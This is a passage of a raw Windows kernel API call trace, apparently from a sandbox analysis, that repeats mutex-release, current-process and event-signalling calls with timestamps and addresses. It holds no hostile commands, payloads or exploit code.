[0245.534] IoGetCurrentProcess () returned 0xffffe00001078440 [0245.534] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0245.534] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0245.534] IoGetCurrentProcess () returned 0xffffe00001078440 [0245.535] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0245.535] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0245.566] IoGetCurrentProcess () returned 0xffffe00001078440 [0245.567] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0245.567] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0245.597] IoGetCurrentProcess () returned 0xffffe00001078440 [0245.597] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0245.598] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0245.598] IoGetCurrentProcess () returned 0xffffe00001078440 [0245.598] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0245.598] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0245.659] IoGetCurrentProcess () returned 0xffffe00001078440 [0245.659] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0245.659] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0245.659] IoGetCurrentProcess () returned 0xffffe00001078440 [0245.660] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0245.660] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0248.644] IoGetCurrentProcess () returned 0xffffe00001078440 [0248.644] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0248.644] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0248.644] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0249.378] IoGetCurrentProcess () returned 0xffffe00001078440 [0249.378] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0249.378] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0249.378] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0249.441] IoGetCurrentProcess () returned 0xffffe00001078440 [0249.441] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0249.441] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0249.441] IoGetCurrentProcess () returned 0xffffe00001078440 [0249.441] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0249.441] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0249.503] IoGetCurrentProcess () returned 0xffffe00001078440 [0249.503] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0249.503] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0249.503] IoGetCurrentProcess () returned 0xffffe00001078440 [0249.503] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0249.503] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0249.565] IoGetCurrentProcess () returned 0xffffe00001078440 [0249.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0249.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0249.566] IoGetCurrentProcess () returned 0xffffe00001078440 [0249.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0249.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0249.634] IoGetCurrentProcess () returned 0xffffe00001078440 [0249.634] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0249.634] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0249.634] IoGetCurrentProcess () returned 0xffffe00001078440 [0249.634] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0249.634] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0249.690] IoGetCurrentProcess () returned 0xffffe00001078440 [0249.691] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0249.691] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0249.691] IoGetCurrentProcess () returned 0xffffe00001078440 [0249.691] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0249.691] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0249.753] IoGetCurrentProcess () returned 0xffffe00001078440 [0249.753] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0249.753] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0249.754] IoGetCurrentProcess () returned 0xffffe00001078440 [0249.754] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0249.754] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0249.815] IoGetCurrentProcess () returned 0xffffe00001078440 [0249.816] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0249.816] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0249.816] IoGetCurrentProcess () returned 0xffffe00001078440 [0249.816] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0249.816] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0249.878] IoGetCurrentProcess () returned 0xffffe00001078440 [0249.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0249.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0249.878] IoGetCurrentProcess () returned 0xffffe00001078440 [0249.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0249.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0249.941] IoGetCurrentProcess () returned 0xffffe00001078440 [0249.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0249.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0249.941] IoGetCurrentProcess () returned 0xffffe00001078440 [0249.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0249.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0250.003] IoGetCurrentProcess () returned 0xffffe00001078440 [0250.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0250.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0250.003] IoGetCurrentProcess () returned 0xffffe00001078440 [0250.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0250.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0250.066] IoGetCurrentProcess () returned 0xffffe00001078440 [0250.066] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0250.066] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0250.066] IoGetCurrentProcess () returned 0xffffe00001078440 [0250.066] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0250.066] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0250.128] IoGetCurrentProcess () returned 0xffffe00001078440 [0250.128] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0250.128] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0250.128] IoGetCurrentProcess () returned 0xffffe00001078440 [0250.128] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0250.128] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0250.191] IoGetCurrentProcess () returned 0xffffe00001078440 [0250.191] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0250.191] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0250.191] IoGetCurrentProcess () returned 0xffffe00001078440 [0250.191] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0250.191] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0250.253] IoGetCurrentProcess () returned 0xffffe00001078440 [0250.253] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0250.253] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0250.253] IoGetCurrentProcess () returned 0xffffe00001078440 [0250.253] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0250.253] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0250.316] IoGetCurrentProcess () returned 0xffffe00001078440 [0250.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0250.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0250.316] IoGetCurrentProcess () returned 0xffffe00001078440 [0250.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0250.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0250.379] IoGetCurrentProcess () returned 0xffffe00001078440 [0250.379] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0250.380] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0250.380] IoGetCurrentProcess () returned 0xffffe00001078440 [0250.380] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0250.380] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0251.409] IoGetCurrentProcess () returned 0xffffe00001078440 [0251.410] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0251.410] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0251.410] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0251.472] IoGetCurrentProcess () returned 0xffffe00001078440 [0251.472] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0251.472] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0251.472] IoGetCurrentProcess () returned 0xffffe00001078440 [0251.472] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0251.472] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0251.534] IoGetCurrentProcess () returned 0xffffe00001078440 [0251.535] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0251.535] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0251.535] IoGetCurrentProcess () returned 0xffffe00001078440 [0251.535] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0251.535] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0251.597] IoGetCurrentProcess () returned 0xffffe00001078440 [0251.597] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0251.597] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0251.598] IoGetCurrentProcess () returned 0xffffe00001078440 [0251.598] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0251.598] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0251.659] IoGetCurrentProcess () returned 0xffffe00001078440 [0251.659] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0251.659] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0251.659] IoGetCurrentProcess () returned 0xffffe00001078440 [0251.659] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0251.659] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0251.706] IoGetCurrentProcess () returned 0xffffe00001078440 [0251.706] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0251.706] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0254.786] IoGetCurrentProcess () returned 0xffffe00001078440 [0254.786] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0254.786] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0254.786] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0254.849] IoGetCurrentProcess () returned 0xffffe00001078440 [0254.849] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0254.849] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0254.850] IoGetCurrentProcess () returned 0xffffe00001078440 [0254.850] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0254.850] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0254.910] IoGetCurrentProcess () returned 0xffffe00001078440 [0254.910] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0254.910] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0254.910] IoGetCurrentProcess () returned 0xffffe00001078440 [0254.911] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0254.911] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0254.972] IoGetCurrentProcess () returned 0xffffe00001078440 [0254.973] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0254.973] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0254.973] IoGetCurrentProcess () returned 0xffffe00001078440 [0254.973] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0254.973] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0255.035] IoGetCurrentProcess () returned 0xffffe00001078440 [0255.036] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0255.036] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0255.036] IoGetCurrentProcess () returned 0xffffe00001078440 [0255.036] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0255.036] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0255.098] IoGetCurrentProcess () returned 0xffffe00001078440 [0255.098] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0255.098] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0255.099] IoGetCurrentProcess () returned 0xffffe00001078440 [0255.099] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0255.099] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0255.160] IoGetCurrentProcess () returned 0xffffe00001078440 [0255.160] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0255.160] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0255.160] IoGetCurrentProcess () returned 0xffffe00001078440 [0255.161] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0255.161] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0255.223] IoGetCurrentProcess () returned 0xffffe00001078440 [0255.223] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0255.223] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0255.223] IoGetCurrentProcess () returned 0xffffe00001078440 [0255.224] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0255.224] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0255.285] IoGetCurrentProcess () returned 0xffffe00001078440 [0255.285] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0255.285] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0255.285] IoGetCurrentProcess () returned 0xffffe00001078440 [0255.286] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0255.286] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0255.347] IoGetCurrentProcess () returned 0xffffe00001078440 [0255.348] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0255.348] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0255.348] IoGetCurrentProcess () returned 0xffffe00001078440 [0255.348] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0255.348] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0255.410] IoGetCurrentProcess () returned 0xffffe00001078440 [0255.411] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0255.411] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0255.411] IoGetCurrentProcess () returned 0xffffe00001078440 [0255.411] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0255.411] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0255.473] IoGetCurrentProcess () returned 0xffffe00001078440 [0255.473] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0255.473] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0255.473] IoGetCurrentProcess () returned 0xffffe00001078440 [0255.474] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0255.474] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0255.535] IoGetCurrentProcess () returned 0xffffe00001078440 [0255.535] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0255.535] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0255.536] IoGetCurrentProcess () returned 0xffffe00001078440 [0255.536] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0255.536] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0255.598] IoGetCurrentProcess () returned 0xffffe00001078440 [0255.598] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0255.598] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0255.598] IoGetCurrentProcess () returned 0xffffe00001078440 [0255.599] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0255.599] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0255.659] IoGetCurrentProcess () returned 0xffffe00001078440 [0255.659] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0255.659] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0255.659] IoGetCurrentProcess () returned 0xffffe00001078440 [0255.660] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0255.660] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0255.722] IoGetCurrentProcess () returned 0xffffe00001078440 [0255.723] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0255.723] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0255.723] IoGetCurrentProcess () returned 0xffffe00001078440 [0255.723] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0255.723] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0255.785] IoGetCurrentProcess () returned 0xffffe00001078440 [0255.785] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0255.785] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0255.785] IoGetCurrentProcess () returned 0xffffe00001078440 [0255.785] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0255.785] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0257.364] IoGetCurrentProcess () returned 0xffffe00001078440 [0257.364] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0257.364] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0257.364] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0257.426] IoGetCurrentProcess () returned 0xffffe00001078440 [0257.426] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0257.426] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0257.426] IoGetCurrentProcess () returned 0xffffe00001078440 [0257.426] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0257.426] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0257.487] IoGetCurrentProcess () returned 0xffffe00001078440 [0257.487] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0257.487] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0257.488] IoGetCurrentProcess () returned 0xffffe00001078440 [0257.488] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0257.488] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0257.550] IoGetCurrentProcess () returned 0xffffe00001078440 [0257.550] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0257.550] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0257.550] IoGetCurrentProcess () returned 0xffffe00001078440 [0257.550] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0257.550] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0257.612] IoGetCurrentProcess () returned 0xffffe00001078440 [0257.612] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0257.612] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0257.613] IoGetCurrentProcess () returned 0xffffe00001078440 [0257.613] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0257.613] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0257.863] IoGetCurrentProcess () returned 0xffffe00001078440 [0257.863] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0257.863] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0257.863] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0259.925] IoGetCurrentProcess () returned 0xffffe00001078440 [0259.925] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0259.926] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0259.926] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0259.988] IoGetCurrentProcess () returned 0xffffe00001078440 [0259.988] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0259.989] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0259.989] IoGetCurrentProcess () returned 0xffffe00001078440 [0259.989] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0259.989] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0260.050] IoGetCurrentProcess () returned 0xffffe00001078440 [0260.050] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0260.050] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0260.050] IoGetCurrentProcess () returned 0xffffe00001078440 [0260.050] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0260.050] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0260.113] IoGetCurrentProcess () returned 0xffffe00001078440 [0260.114] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0260.114] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0260.114] IoGetCurrentProcess () returned 0xffffe00001078440 [0260.115] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0260.115] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0260.175] IoGetCurrentProcess () returned 0xffffe00001078440 [0260.175] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0260.175] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0260.175] IoGetCurrentProcess () returned 0xffffe00001078440 [0260.175] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0260.175] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0260.238] IoGetCurrentProcess () returned 0xffffe00001078440 [0260.238] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0260.238] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0260.238] IoGetCurrentProcess () returned 0xffffe00001078440 [0260.239] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0260.239] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0260.300] IoGetCurrentProcess () returned 0xffffe00001078440 [0260.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0260.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion 